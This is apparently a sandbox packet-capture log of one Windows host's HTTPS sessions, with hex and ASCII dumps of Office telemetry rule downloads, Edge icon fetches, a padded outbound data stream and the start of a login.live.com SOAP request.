2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:47 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 1e6e7a31-701e-0098-6aa5-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003447Z-174f78459685726chC1EWRsnbg00000013r000000000cuew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	49885	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:47 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:48 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:48 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: d7807bc1-701e-004a-6751-445860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003447Z-174f7845968ljs8phC1EWRe6en00000013g000000000dgu5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:48 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	49886	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:48 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:48 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:48 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: cabe5e80-501e-005d-2051-449803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003448Z-174f7845968kdththC1EWRzvxn0000000g4g0000000012q0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:48 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:49 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:49 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003449Z-174f7845968kdththC1EWRzvxn0000000fyg00000000kvhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:49 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003449Z-174f7845968kvnqxhC1EWRmf3g0000000qe000000000e4fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:49 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8c8f6d8-301e-0052-3262-4365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003449Z-174f7845968cpnpfhC1EWR3afc000000137000000000hmp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:49 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003449Z-174f7845968kvnqxhC1EWRmf3g0000000qbg00000000psr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49891	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 00:34:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 